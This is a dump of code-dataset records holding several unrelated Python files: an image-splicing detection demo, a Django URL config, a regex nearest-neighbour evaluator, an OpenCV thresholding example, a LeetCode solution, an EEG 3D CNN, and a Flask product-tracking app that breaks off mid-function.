cluster_indices = np.squeeze(cluster_indices)\n cluster_results = [results[i] for i in cluster_indices]\n\n #mean_result = np.mean(cluster_results, axis=0)\n median_result = np.median(cluster_results, axis=0)\n\n # Average Per pixel deviation\n average_spread = np.mean(np.std(cluster_results, axis=0))\n cluster_spreads[lbl] = average_spread\n cluster_preds[lbl] = median_result\n #print average_spread\n if average_spread < lowest_spread:\n lowest_spread = average_spread\n best_pred = median_result\n\n best_lbl, avg_spread = util.sort_dict(cluster_spreads)[0]\n\n if debug: \n print('Cluster spread %.3f' % avg_spread)\n plt.imshow(cluster_preds[best_lbl], cmap='jet', vmin=0.0, vmax=1.0) \n plt.show()\n\n if best_pred is None:\n # Uses a sample that has the median minimum distance between all predicted sample\n print('Failed to find DBSCAN cluster')\n compact_dist_matrix = dist_matrix[:len(dist_matrix)//2, :len(dist_matrix)//2]\n avg_dist = np.median(compact_dist_matrix, axis=0)\n best_pred = results[np.argmin(avg_dist)]\n \n if debug:\n plt.figure()\n plt.imshow(best_pred, cmap='jet', vmin=0.0, vmax=1.0) \n return best_pred, lowest_spread\n\n\nclass Demo():\n def __init__(self, ckpt_path='/data/scratch/minyoungg/ckpt/exif_medifor/exif_medifor.ckpt', use_gpu=0,\n quality=3.0, patch_size=128, num_per_dim=30,nb_threads= 10,num_threads=1,n_anchors = 10):\n #print('LOADED')\n self.quality = quality # sample ratio\n self.solver, nc, params = load_models.initialize_exif(ckpt=ckpt_path, init=False, use_gpu=use_gpu)\n params[\"im_size\"] = patch_size\n self.im_size = patch_size\n tf.reset_default_graph()\n im = np.zeros((256, 256, 3))\n self.bu = benchmark_utils.EfficientBenchmark(self.solver, nc, params, im, auto_close_sess=False, \n mirror_pred=False,num_threads=num_threads,dense_compute=False, stride=None, n_anchors=n_anchors,\n patch_size=patch_size, num_per_dim=num_per_dim,nb_threads= nb_threads)\n return\n\n def run(self, im, gt=None, show=False, save=False,\n blue_high=False, use_ncuts=False,dense = True):\n # run for every new image\n self.bu.reset_image(im)\n #print('START')\n start = time.time()\n res = self.bu.precomputed_analysis_vote_cls(num_fts=4096,dense = dense)\n print('self-consistency precompute analysis %.1f s' % (time.time()-start))\n if not use_ncuts:\n start = time.time()\n ms = mean_shift(res.reshape((-1, res.shape[0] * res.shape[1])), res)\n print('self-consistency mean shift %.1f s' % (time.time()-start))\n \n if np.mean(ms > .5) > .5:\n # majority of the image is above .5\n if blue_high:\n ms = 1 - ms\n \n else:\n\n ncuts = normalized_cut(res)\n if np.mean(ncuts > .5) > .5:\n # majority of the image is white\n # flip so spliced is white\n ncuts = 1 - ncuts\n out_ncuts = cv2.resize(ncuts.astype(np.float32), (im.shape[1], im.shape[0]),\n interpolation=cv2.INTER_LINEAR)\n if not use_ncuts:\n out_ms = cv2.resize(ms, (im.shape[1], im.shape[0]), interpolation=cv2.INTER_LINEAR)\n \n \n else:\n print('ONLY N_CUT')\n return out_ncuts, out_ncuts\n return out_ms\n \n def run_vote(self, im, num_per_dim=3, patch_size=128):\n h,w = np.shape(im)[:2]\n all_results = []\n for hSt in np.linspace(0, h - patch_size, num_per_dim).astype(int):\n for wSt in np.linspace(0, w - patch_size, num_per_dim).astype(int):\n #print('START')\n res = run_vote_no_threads(im, self.solver, None, n_anchors=1, num_per_dim=None,\n patch_size=128, batch_size=64, sample_ratio=self.quality, \n override_anchor=(hSt, wSt))['out']['responses'][0]\n all_results.append(res)\n \n return dbscan_consensus(all_results)\n \n def __call__(self, url, dense=False):\n \"\"\"\n @Args\n url: This can either be a web-url or directory\n dense: If False, runs the new DBSCAN clustering. \n Using dense will be low-res and low-variance.\n @Returns\n output of the clustered response\n \"\"\" \n if type(url) is not str:\n im = url\n else:\n if url.startswith('http'):\n im = util.get(url)\n else:\n im = cv2.imread(url)[:,:,[2,1,0]]\n\n assert min(np.shape(im)[:2]) > self.im_size, 'image dimension too small'\n out = self.run(im,dense=dense)\n return im, out\n \nif __name__ == '__main__':\n plt.switch_backend('agg')\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--im_path\", type=str, help=\"path_to_image\")\n cfg = parser.parse_args()\n \n assert os.path.exists(cfg.im_path)\n \n imid = cfg.im_path.split('/')[-1].split('.')[0]\n save_path = os.path.join('./images', imid + '_result.png')\n \n ckpt_path = './ckpt/exif_final/exif_final.ckpt'\n exif_demo = Demo(ckpt_path=ckpt_path, use_gpu=0, quality=3.0, num_per_dim=30)\n \n print('Running image %s' % cfg.im_path)\n ms_st = time.time()\n im_path = cfg.im_path\n im, res = exif_demo(im_path, dense=True)\n print('MeanShift run time: %.3f' % (time.time() - ms_st))\n \n plt.subplots(figsize=(16, 8))\n plt.subplot(1, 3, 1)\n plt.title('Input Image')\n plt.imshow(im)\n plt.axis('off')\n\n plt.subplot(1, 3, 2)\n plt.title('Cluster w/ MeanShift')\n plt.axis('off')\n if np.mean(res > 0.5) > 0.5:\n res = 1.0 - res\n plt.imshow(res, cmap='jet', vmin=0.0, vmax=1.0)\n plt.savefig(save_path)\n print('Result saved %s' % save_path)\n","sub_path":"selfconsistency/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":11212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"553379548","text":"__author__ = 'Crashmotilda'\nfrom django.conf.urls import url\n\nfrom . import views\napp_name = \"players\"\nurlpatterns = [\n # /players/\n #url(r'results/', views.player_search, name=\"player_search\")\n url(r'results', views.SearchView.as_view(), name=\"player_search\"),\n # /players/\n url(r'^(?P[0-9]+)/', views.player_detail, name='player_detail'),\n #url(r'^$', views.index, name='index'),\n url(r'^', views.IndexView.as_view(), name='index'),\n\n\n\n\n\n]\n\n\n","sub_path":"soreproject1/soreproject1/players/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"129968480","text":"import sys\nimport argparse\nimport subprocess\nfrom sklearn.neighbors import NearestNeighbors\nimport numpy as np\nfrom regexDFAEquals import regex_equiv_from_raw\n\ndef main(arguments):\n parser = argparse.ArgumentParser(\n description=__doc__,\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument('--data_dir', help=\"data_dir\", \n type=str, required=True)\n parser.add_argument('--alt_eval', help=\"alt-eval\", \n type=bool, default=False)\n args = parser.parse_args(arguments)\n\n train_x_lines = [line.rstrip('\\n') for line in open(\"{}/{}\".format(args.data_dir, \"src-train.txt\"))]\n train_y_lines = [line.rstrip('\\n') for line in open(\"{}/{}\".format(args.data_dir, \"targ-train.txt\"))]\n\n if args.alt_eval:\n eval_x_lines = [line.rstrip('\\n') for line in open(\"{}/{}\".format(args.data_dir, \"src-test.txt\"))]\n eval_y_lines = [line.rstrip('\\n') for line in open(\"{}/{}\".format(args.data_dir, \"targ-test.txt\"))]\n else:\n eval_x_lines = [line.rstrip('\\n') for line in open(\"{}/{}\".format(args.data_dir, \"src-val.txt\"))]\n eval_y_lines = [line.rstrip('\\n') for line in open(\"{}/{}\".format(args.data_dir, \"targ-val.txt\"))]\n\n do_classify(train_x_lines, train_y_lines, eval_x_lines, eval_y_lines)\n\ndef do_classify(train_x, train_y, test_x, test_y):\n train_x_bow, test_x_bow = get_all_bow(train_x, test_x)\n classifier = NearestNeighbors(n_neighbors=1, algorithm='ball_tree').fit(train_x_bow)\n distances, indices = classifier.kneighbors(test_x_bow)\n indices = [index[0] for index in indices]\n exact = 0.0\n dfa_equal = 0.0\n for row_index in range(len(test_x_bow)):\n gold = test_y[row_index]\n pred_index = indices[row_index]\n pred = train_y[pred_index]\n print(\"PRED: {}\".format(pred))\n print(\"GOLD: {}\".format(gold))\n if pred == gold:\n exact += 1.0\n print(\"string equal\")\n if regex_equiv_from_raw(pred, gold):\n dfa_equal += 1.0\n print(\"dfa equal\")\n print(\"\")\n\n print(\"{} String-Equal Correct\".format(exact/len(test_x_bow)))\n print(\"{} DFA-Equal Correct\".format(dfa_equal/len(test_x_bow)))\n\n\ndef get_all_bow(train_x, test_x):\n bow_word_set = {''}\n\n for data in [train_x, test_x]:\n for line in data:\n for word in line.split(' '):\n bow_word_set.add(word)\n\n print(bow_word_set)\n\n train_all_bow = []\n test_all_bow = []\n\n for line in train_x:\n bow = get_bow(line, bow_word_set)\n train_all_bow.append(bow)\n\n for line in test_x:\n bow = get_bow(line, bow_word_set)\n test_all_bow.append(bow)\n\n return np.array(train_all_bow), np.array(test_all_bow)\n\ndef get_bow(line, bow_word_set):\n bow = {word : 0 for word in bow_word_set}\n\n for word in line.split(' '):\n bow[word] += 1\n\n return bow.values()\n\nif __name__ == '__main__':\n sys.exit(main(sys.argv[1:]))","sub_path":"deep-regex-model/nearest_neighbors_model.py","file_name":"nearest_neighbors_model.py","file_ext":"py","file_size_in_byte":2990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"119217214","text":"\r\n'''\r\n**************************************************************************\r\n* IMAGE PROCESSING (e-Yantra 2014)\r\n* ================================\r\n* This software is intended to teach image processing concepts\r\n*\r\n* MODULE: Functions\r\n* Filename: threshImage.py\r\n* Version: 1.0.0 \r\n* Date: November 3, 2014\r\n* \r\n* Author: Arun Mukundan, e-Yantra Project, Department of Computer Science\r\n* and Engineering, Indian Institute of Technology Bombay.\r\n* \r\n* Software released under Creative Commons CC BY-NC-SA\r\n*\r\n* For legal information refer to:\r\n* http://creativecommons.org/licenses/by-nc-sa/4.0/legalcode \r\n* \r\n*\r\n* This software is made available on an “AS IS WHERE IS BASIS”. \r\n* Licensee/end user indemnifies and will keep e-Yantra indemnified from\r\n* any and all claim(s) that emanate from the use of the Software or \r\n* breach of the terms of this agreement.\r\n* \r\n* e-Yantra - An MHRD project under National Mission on Education using \r\n* ICT(NMEICT)\r\n*\r\n**************************************************************************\r\n'''\r\n\r\n############################################\r\n## Import OpenCV\r\nimport numpy\r\nimport cv2\r\n############################################\r\n\r\n############################################\r\n## Read the image\r\nimg = cv2.imread('lion.jpg')\r\n############################################\r\n\r\n############################################\r\n## Do the processing\r\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\nret,thresh1 = cv2.threshold(gray,127,255,cv2.THRESH_BINARY)\r\nret,thresh2 = cv2.threshold(gray,127,255,cv2.THRESH_BINARY_INV)\r\nret,thresh3 = cv2.threshold(gray,127,255,cv2.THRESH_TRUNC)\r\nret,thresh4 = cv2.threshold(gray,127,255,cv2.THRESH_TOZERO)\r\nret,thresh5 = cv2.threshold(gray,127,255,cv2.THRESH_TOZERO_INV)\r\n############################################\r\n\r\n############################################\r\n## Show the image\r\ncv2.imshow('image - thresh1',thresh1)\r\ncv2.imshow('image - thresh2',thresh2)\r\ncv2.imshow('image - thresh3',thresh3)\r\ncv2.imshow('image - thresh4',thresh4)\r\ncv2.imshow('image - thresh5',thresh5)\r\ncv2.imshow('image',img)\r\n############################################\r\n\r\n############################################\r\n## Close and exit\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n############################################\r\n","sub_path":"Robovision/Prep/threshImage/threshImage.py","file_name":"threshImage.py","file_ext":"py","file_size_in_byte":2359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"516904332","text":"from collections import Counter\nimport re\nfrom typing import List\n\n\nclass Solution:\n \"\"\"\n Accepted\n \"\"\"\n def mostCommonWord(self, paragraph: str, banned: List[str]) -> str:\n words = Counter(re.split('[^a-zA-Z]', paragraph.lower()))\n for word, count in words.most_common():\n if word and word not in banned:\n return word\n return \"\"\n\n\nif __name__ == \"__main__\":\n print(Solution().mostCommonWord(\"Bob hit a ball, the hit BALL flew far after it was hit.\", [\"hit\"]))","sub_path":"leetcode/p0819_most_common_word/my_attempt.py","file_name":"my_attempt.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"389233260","text":"\"\"\"\nMatthew Houk\n\nWorking to recreate results of paper listed in readme on behalf of NCSU BCI Lab\n\n\"\"\"\n\n\n# Filters out warnings\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n# Imports, as of 3/10, all are necessary\nimport numpy as np\nimport tensorflow as tf\nfrom keras import layers\nfrom keras import backend as K\nfrom keras.models import Model\nfrom keras.optimizers import Adam, SGD\nfrom keras.callbacks import Callback\nfrom keras.backend import image_data_format, set_image_data_format\nfrom keras.layers import Conv3D, Input, Dense, Activation, BatchNormalization, Flatten, Add, Softmax\nfrom sklearn.model_selection import StratifiedKFold\n\nfrom DonghyunMBCNN import MultiBranchCNN\n\n# Global Variables\n\n# The directory of the process data, must have been converted and cropped, reference dataProcessing.py and crop.py\nDATA_DIR = \"../datasets/BCICIV_2a_cropped/\"\n# Which trial subject will be trained\nSUBJECT = 2\n\n# The number of classification categories, for motor imagery, there are 4\nNUM_CLASSES = 4\n# The number of timesteps in each input array\nTIMESTEPS = 240\n# The X-Dimension of the dataset\nXDIM = 7\n# The Y-Dimension of the dataset\nYDIM = 6\n# The delta loss requirement for lower training rate\nLOSS_THRESHOLD = 0.1\n# Initial learning rate for ADAM optimizer\nINIT_LR = 0.00001\n# Define Which NLL (Negative Log Likelihood) Loss function to use, either \"NLL1\", \"NLL2\", or \"SCCE\"\nLOSS_FUNCTION = 'NLL2'\n# Defines which optimizer is in use, either \"ADAM\" or \"SGD\"\nOPTIMIZER = 'ADAM'\n# Whether training output should be given\nVERBOSE = 1\n# Determines whether K-Fold Cross Validation is used\nUSE_KFOLD = False\n# Number of ksplit validation, must be atleast 2\nKFOLD_NUM = 5\n# Specifies which model structure will be used, '1' corresponds to the Create_Model function and '2' corresponds to Donghyun's model.\nUSE_STRUCTURE = '2'\n\n# Number of epochs to train for\nEPOCHS = 10\n\n# Receptive field sizes\nCONV1_SIZE = (3, 3, 5)\nSRF_SIZE = ((5, 5, 5), (6, 7, 5))\nMRF_SIZE = ((5, 5, 13), (6, 7, 29))\nLRF_SIZE = ((5, 5, 21), (6, 7, 85))\n\n# Strides for each receptive field\nSRF_STRIDES = (2, 2, 1)\nMRF_STRIDES = (2, 2, 2)\nLRF_STRIDES = (2, 2, 4)\n\n# This is meant to handle the reduction of the learning rate, current is not accurate, I have been unable to access the loss information from each Epoch\n# The expectation is that if the delta loss is < threshold, learning rate *= 0.1. Threshold has not been set yet.\nclass LearningRateReducerCb(Callback):\n\tdef __init__(self):\n\t\tself.history = {}\n\tdef on_epoch_end(self, epoch, logs={}):\n\n\t\tfor k, v in logs.items():\n\t\t\tself.history.setdefault(k, []).append(v)\n\t\t\t\t\n\t\tfin_index = len(self.history['loss']) - 1\n\t\tif (fin_index >= 1):\n\t\t\tif (self.history['loss'][fin_index-1] - self.history['loss'][fin_index] > LOSS_THRESHOLD):\n\t\t\t\told_lr = self.model.optimizer.lr.read_value()\n\t\t\t\tnew_lr = old_lr*0.1\n\t\t\t\tprint(\"\\nEpoch: {}. Reducing Learning Rate from {} to {}\".format(epoch, old_lr, new_lr))\n\t\t\t\tself.model.optimizer.lr.assign(new_lr)\t\n\n# The Negative Log Likelihood function\ndef Loss_FN1(y_true, y_pred, sample_weight=None):\n\treturn K.sum(K.binary_crossentropy(y_true, y_pred), axis=-1) # This is another loss function that I tried, was less effective\n\n# Second NLL function, generally seems to work better\ndef Loss_FN2(y_true, y_pred, sample_weight=None):\n\tn_dims = int(int(y_pred.shape[1])/2)\n\tmu = y_pred[:, 0:n_dims]\n\tlogsigma = y_pred[:, n_dims:]\n\tmse = -0.5*K.sum(K.square((y_true-mu)/K.exp(logsigma)), axis=1)\n\tsigma_trace = -K.sum(logsigma, axis=1)\n\tlog2pi = -0.5*n_dims*np.log(2*np.pi)\n\tlog_likelihood = mse+sigma_trace+log2pi\n\treturn K.mean(-log_likelihood)\n\n\t\n# Loads given data into two arrays, x and y, while also ensuring that all values are formatted as float32s\ndef load_data(data_dir, num, file_type):\n\tx = np.load(data_dir + \"A0\" + str(num) + file_type + \"D_cropped.npy\").astype(np.float32)\n\ty = np.load(data_dir + \"A0\" + str(num) + file_type + \"K_cropped.npy\").astype(np.float32)\n\treturn x, y\n\ndef create_receptive_field(size, strides, model, name):\n\tmodelRF = Conv3D(kernel_size = size[0], strides=strides, filters=32, padding='same', name=name+'1')(model)\n\tmodelRF1 = BatchNormalization()(modelRF)\n\tmodelRF2 = Activation('elu')(modelRF1)\n\n\tmodelRF3 = Conv3D(kernel_size = size[1], strides=strides, filters=64, padding='same', name=name+'2')(modelRF2)\n\tmodelRF4 = BatchNormalization()(modelRF3)\n\tmodelRF5 = Activation('elu')(modelRF4)\n\n\tmodelRF6 = Flatten()(modelRF5)\n\n\tmodelRF7 = Dense(32)(modelRF6)\n\tmodelRF8 = BatchNormalization()(modelRF7)\n\tmodelRF9 = Activation('relu')(modelRF8)\n\n\tmodelRF10 = Dense(32)(modelRF9)\n\tmodelRF11 = BatchNormalization()(modelRF10)\n\tmodelRF12 = Activation('relu')(modelRF11)\n\treturn Dense(NUM_CLASSES, activation='softmax')(modelRF12)\n\ndef Create_Model():\n\t# Model Creation\n\n\tmodel1 = Input(shape=(XDIM, YDIM, TIMESTEPS, 1))\n\n\t# 1st Convolution Layer\n\tmodel1a = Conv3D(kernel_size = CONV1_SIZE, strides = (2, 2, 4), filters=16, name=\"Conv1\")(model1)\n\tmodel1b = BatchNormalization()(model1a)\n\tmodel1c = Activation('elu')(model1b)\n\n\t# Small Receptive Field (SRF)\n\n\tmodelSRF = create_receptive_field(SRF_SIZE, SRF_STRIDES, model1c, 'SRF')\n\t\n\t# Medium Receptive Field (MRF)\n\n\tmodelMRF = create_receptive_field(MRF_SIZE, MRF_STRIDES, model1c, 'MRF')\n\n\t# Large Receptive Field (LRF)\n\t\n\tmodelLRF = create_receptive_field(LRF_SIZE, LRF_STRIDES, model1c, 'LRF')\n\n\t# Add the layers - This sums each layer\n\tfinal = Add()([modelSRF, modelMRF, modelLRF])\n\tfinal_dense = Dense(NUM_CLASSES)(final)\n\tout = Softmax()(final_dense)\n\n\n\n\tmodel = Model(inputs=model1, outputs=out)\n\n\treturn model\n\n#if (USE_STRUCTURE == '2'):\n#\tset_image_data_format('channels_first')\n\nif (LOSS_FUNCTION == 'NLL1'):\n\tloss_function = Loss_FN1\nelif (LOSS_FUNCTION == 'NLL2'):\n\tloss_function = Loss_FN2\nelif (LOSS_FUNCTION == 'SCCE'):\n\tloss_function = 'sparse_categorical_crossentropy'\n\n# Optimizer is given as ADAM with an initial learning rate of 0.01\nif (OPTIMIZER == 'ADAM'):\n\topt = Adam(learning_rate = INIT_LR)\nelif (OPTIMIZER == 'SGD'):\n\topt = SGD(learning_rate = INIT_LR)\n\nX, Y = load_data(DATA_DIR, SUBJECT, \"T\")\nX_val, Y_val = load_data(DATA_DIR, SUBJECT, \"E\")\nif (USE_KFOLD):\n\tseed = 4\n\tkfold = StratifiedKFold(n_splits=KFOLD_NUM, shuffle=True, random_state=seed)\n\tcvscores = []\n\n\tfor train, test in kfold.split(X, Y):\n\t\tif (USE_STRUCTURE == '1'):\n\t\t\tMRF_model = Create_Model()\n\t\telif (USE_STRUCTURE == '2'):\n\t\t\tMRF_model = MultiBranchCNN(TIMESTEPS, YDIM, XDIM, NUM_CLASSES)\n\t\t# Compiling the model with the negative log likelihood loss function, ADAM optimizer\n\t\tMRF_model.compile(loss=loss_function, optimizer=opt, metrics=['accuracy'])\n\n\t\t# Training for 30 epochs\n\t\tMRF_model.fit(X[train], Y[train], epochs=30, verbose=VERBOSE, validation_data=(X_val[train], Y_val[train]))\n\n\t\t# Evaluating the effectiveness of the model\n\t\tscores = MRF_model.evaluate(X_val[test], Y_val[test], verbose=VERBOSE)\n\t\tprint(\"%s: %.2f%%\" % (MRF_model.metrics_names[1], scores[1]*100))\n\t\tcvscores.append(scores[1]*100)\n\n\tprint(\"%.2f%% (+/- %.2f%%)\" % (np.mean(cvscores), np.std(cvscores)))\n\nelse:\n\tif (USE_STRUCTURE == '1'):\n\t\tMRF_model = Create_Model()\n\telif (USE_STRUCTURE == '2'):\n\t\tMRF_model = MultiBranchCNN(TIMESTEPS, YDIM, XDIM, NUM_CLASSES)\n\n\tMRF_model.compile(loss=loss_function, optimizer=opt, metrics=['accuracy'])\n\t\n\tMRF_model.fit(X, Y, epochs=EPOCHS, verbose=VERBOSE, validation_data=(X_val, Y_val))\n\n\t_, acc = MRF_model.evaluate(X_val, Y_val, verbose=VERBOSE)\n\n\tprint(\"Accuracy: %.2f\" % (acc*100))\n","sub_path":"Zhao-Paper/MB3DCNN.py","file_name":"MB3DCNN.py","file_ext":"py","file_size_in_byte":7456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"4491217","text":"import os\nfrom datetime import datetime, timedelta\nfrom flask import (\n Flask, flash, render_template,\n redirect, request, session, url_for\n)\nfrom flask_pymongo import PyMongo\nfrom bson.objectid import ObjectId\nimport pymongo\nfrom werkzeug.security import generate_password_hash, check_password_hash\nimport email_func\nimport functions\nimport security\nfrom waitress import serve\nif os.path.exists(\"env.py\"):\n import env\n\n\napp = Flask(__name__)\n\napp.config[\"MONGO_DBNAME\"] = os.environ.get(\"MONGO_DBNAME\")\napp.config[\"MONGO_URI\"] = os.environ.get(\"MONGO_URI\")\napp.secret_key = os.environ.get(\"SECRET_KEY\")\n\nmongo = PyMongo(app)\n\n\n# Default Route\n@app.route(\"/\")\ndef home():\n return render_template(\"index.html\")\n\n\n@app.route(\"/get_upcoming\")\ndef get_upcoming():\n # The check login function (in the security.py file) checks that the user\n # is logged in\n # All views are locked to the user unless they are logged in, they will be\n # directed to the login screen\n if security.check_login():\n # get product list from products table, we only want certain columns,\n # the rest will be\n # viewable in the view_product route, we also order by start_date to\n # show urgent ones first\n products = list(mongo.db.products.find({\"$or\": [{\n \"$and\": [\n {\"start_date\": {\n \"$gte\": datetime.today() + timedelta(days=-1)\n }\n }, {\"status\": \"Completed - Production Ready\"}\n ]\n }, {\n \"status\": {\"$regex\": \"Pending*\"}\n }]}, {\n \"product_name\": 1,\n \"department\": 1,\n \"customer\": 1,\n \"status\": 1,\n \"start_date\": 1,\n \"created_by\": 1,\n \"created_on\": 1\n }).sort([\n ('start_date', pymongo.ASCENDING)\n ]))\n\n completed_products = []\n pending_products = []\n # we convert the start_date, which is a datetime object in the\n # database, to a string\n for product in products:\n functions.product_mark(product)\n functions.date_to_string(product)\n\n if product[\"status\"] == \"Completed - Production Ready\":\n completed_products.append(product)\n else:\n pending_products.append(product)\n\n return render_template(\n \"upcoming_products.html\",\n completed_products=completed_products,\n pending_products=pending_products)\n else:\n # if the user is not logged in we redirect them to the login screen\n flash(\"Please login to view this content\")\n return redirect(url_for(\"login\"))\n\n\n# View Product Details Route\n@app.route(\"/view_product/\")\ndef view_product(product_id):\n if security.check_login():\n # check if product id passed is a valid objectid, redirect if not\n if not ObjectId.is_valid(product_id):\n flash(\"Invalid Product Id\")\n return redirect(url_for(\"get_upcoming\"))\n\n # Get the product document from the database using the product_id\n product = mongo.db.products.find_one({\"_id\": ObjectId(product_id)})\n\n # check if the requested product_id exists, redirect if not\n if product is None:\n flash(\"Product Does Not Exist\")\n return redirect(url_for(\"get_upcoming\"))\n\n # Get a list of the roles from the roles table, we will use this\n # to cycle\n # Through to show different roles details for the product\n # we dont include the admin/commercial/management roles as they\n # dont have\n # specific role details for a product\n roles = list(mongo.db.roles.find({\n \"role_name\": {\"$nin\": [\"Admin\", \"Commercial\", \"Management\"]}\n }))\n\n functions.date_to_string(product)\n\n return render_template(\n \"view_product.html\",\n product=product,\n roles=roles)\n else:\n flash(\"Please login to view this content\")\n return redirect(url_for(\"login\"))\n\n\n# Create Product Customer Select Route\n@app.route(\"/create_product/customer_select\", methods=[\"GET\", \"POST\"])\ndef customer_select():\n if not(security.check_login()):\n flash(\"Please login to view this content\")\n return redirect(url_for(\"login\"))\n elif session[\"role\"] not in [\"Commercial\", \"Admin\"]:\n # Only a member of the commercial team has permission to create\n # products\n flash(\"You do not have permission to create products\")\n return redirect(url_for(\"get_upcoming\"))\n else:\n # This view simply allows the user to select the customer the product\n # is for\n # We do this first because the details required for a new\n # product depend\n # on the customer of the product. Therefore, to build the form with the\n # correct fields we must first get the user to select the customer\n # the department is defined by the users attributes\n if request.method == \"POST\":\n if session[\"role\"] == \"Admin\":\n department = request.form.get(\"department\")\n else:\n department = session[\"department\"]\n\n field_list = mongo.db.form_fields.find_one({\n \"department\": department,\n \"customer\": request.form.get(\"customer\")\n }, {\"_id\": 1})\n\n if field_list is None:\n flash(\"Invalid Department/Customer Combination\")\n return redirect(url_for(\"get_upcoming\"))\n\n return redirect(\n url_for(\"product_details\", field_list_id=field_list[\"_id\"])\n )\n\n departments = mongo.db.departments.find().sort(\n 'department_name', pymongo.ASCENDING)\n customers = mongo.db.customers.find().sort(\n 'customer_name', pymongo.ASCENDING\n )\n return render_template(\n \"customer_select.html\",\n customers=customers,\n departments=departments)\n\n\n# Create Product Product Details Route\n@app.route(\"/create_product/product_details/\",\n methods=[\"GET\", \"POST\"])\ndef product_details(field_list_id):\n if not(security.check_login()):\n flash(\"Please login to view this content\")\n return redirect(url_for(\"login\"))\n elif session[\"role\"] not in [\"Commercial\", \"Admin\"]:\n flash(\"You do not have permission to create products\")\n return redirect(url_for(\"get_upcoming\"))\n else:\n # check if valid object id\n if not ObjectId.is_valid(field_list_id):\n flash(\"Invalid Field List Id\")\n return redirect(url_for(\"get_upcoming\"))\n\n # get field_list from form_fields table, searching on the customer name\n # and department\n field_list = mongo.db.form_fields.find_one(\n {\"_id\": ObjectId(field_list_id)})\n\n # check if field list exists\n if field_list is None:\n flash(\"Form Does Not Exist\")\n return redirect(url_for(\"get_upcoming\"))\n\n # get customer name using customer_id passed to url\n customer_name = field_list[\"customer\"]\n\n if request.method == \"POST\":\n user = mongo.db.users.find_one({\"username\": session[\"user\"]})\n\n # Create product base details, common for all new products\n product = {\n \"product_name\": request.form.get(\"product_name\"),\n \"department\": field_list[\"department\"],\n \"customer\": customer_name,\n \"status\": \"Pending - Awaiting Many\",\n \"start_date\": datetime.strptime(\n request.form.get(\"start_date\"),\n '%d %B, %Y'),\n \"created_by\": user[\"f_name\"] + \" \" + user[\"l_name\"],\n \"created_on\": datetime.now()}\n\n # From field_list, cycle through fields (which were used to\n # build form) and get\n # value from post form with that field name and add detail\n # to product dict\n # if it's a multiselect then create an list object and append every\n # selected value to end of list\n for field in field_list[\"commercial_details\"]:\n if field[\"field_type\"] == \"input\":\n product[field[\"field_name\"]] = request.form.get(\n field[\"field_name\"])\n elif field[\"field_type\"] == \"multiselect\":\n product[field[\"field_name\"]] = []\n for value in request.form.getlist(field[\"field_name\"]):\n product[field[\"field_name\"]].append(value)\n\n # insert product dict into products table\n mongo.db.products.insert_one(product)\n\n # create email group to notify of new product creation\n # we only want to notify users of the same department or\n # of the \"All\" department\n # we also only want the email attribute of the users\n email_group = mongo.db.users.find({\n \"department\": {\"$in\": [session[\"department\"], \"All\"]}\n }, {\n \"email\": 1\n })\n\n # convert dict into array of email addresses\n email_group_array = []\n\n for email in email_group:\n email_group_array.append(email[\"email\"])\n\n # create message to send to users\n message = \"\"\"\n A new product has been created for your department.\n\n Product Name: %s\n User: %s\n\n Please login to the Meade Product App to view it:\n https://meade-product-app.herokuapp.com/\n \"\"\" % (request.form.get(\"product_name\"), user[\"f_name\"] +\n \" \" + user[\"l_name\"])\n\n # call send_email function (view email_func.py) with email list,\n # subject and message\n email_func.send_email(\n email_group_array,\n \"A New Product Has Been Created\",\n message)\n\n flash(\"Product Successfully Added\")\n return redirect(url_for('get_upcoming'))\n\n # search the commercial_details objects in the field_list, if the field\n # is a select\n # or multiselect and has the \"options_type\" of \"table\" it means that it\n # is using a table for\n # options so we call the options from the table and create a list to\n # store the options in and\n # append it to the field object\n for field in field_list[\"commercial_details\"]:\n if (field[\"field_type\"] == \"multiselect\") or (\n field[\"field_type\"] == \"select\"):\n if field[\"options_type\"] == \"table\":\n options_table = mongo.db[field[\"table_name\"]].find()\n field[\"options\"] = []\n for option in options_table:\n field[\"options\"].append(option[\"name\"])\n\n return render_template(\n \"commercial_product_details.html\",\n field_list=field_list)\n\n\n# My Tasks Route\n@app.route(\"/my_tasks\")\ndef my_tasks():\n if security.check_login():\n # if the user doesn't have a specific department then we don't need to\n # filter on the department\n if session[\"department\"] == \"All\":\n prod_fil = {}\n else:\n prod_fil = {\"department\": session[\"department\"]}\n\n # if the user is part of the commercial team, we only want to see\n # products which have the\n # status of \"Pending - Awaiting Commercial Sign Off\"\n if session[\"role\"] == \"Commercial\":\n role_fil = {\"status\": \"Pending - Awaiting Commercial Sign Off\"}\n else:\n role_fil = {}\n\n # We add the filter dictionaries we've created above as well as a\n # filter to check\n # if the product has an attribute equal to the users role (Commercial,\n # Packaging, Operations...)\n # if the product has that attribute then the details for the users\n # role have already\n # been completed and is not outstanding\n if session[\"role\"] != \"Admin\":\n products = list(mongo.db.products.find(\n {\"$and\": [\n prod_fil, role_fil,\n {(session[\"role\"].lower()): {\"$exists\": False}}]}, {\n \"product_name\": 1,\n \"department\": 1,\n \"customer\": 1,\n \"status\": 1,\n \"start_date\": 1,\n \"created_by\": 1,\n \"created_on\": 1\n }).sort([\n ('start_date', pymongo.ASCENDING)\n ]))\n else:\n products = list(mongo.db.products.find(\n {\"status\": {\"$ne\": \"Completed - Production Ready\"}}, {\n \"product_name\": 1,\n \"department\": 1,\n \"customer\": 1,\n \"status\": 1,\n \"start_date\": 1,\n \"created_by\": 1,\n \"created_on\": 1\n }).sort([\n ('start_date', pymongo.ASCENDING)\n ]))\n\n for product in products:\n functions.product_mark(product)\n 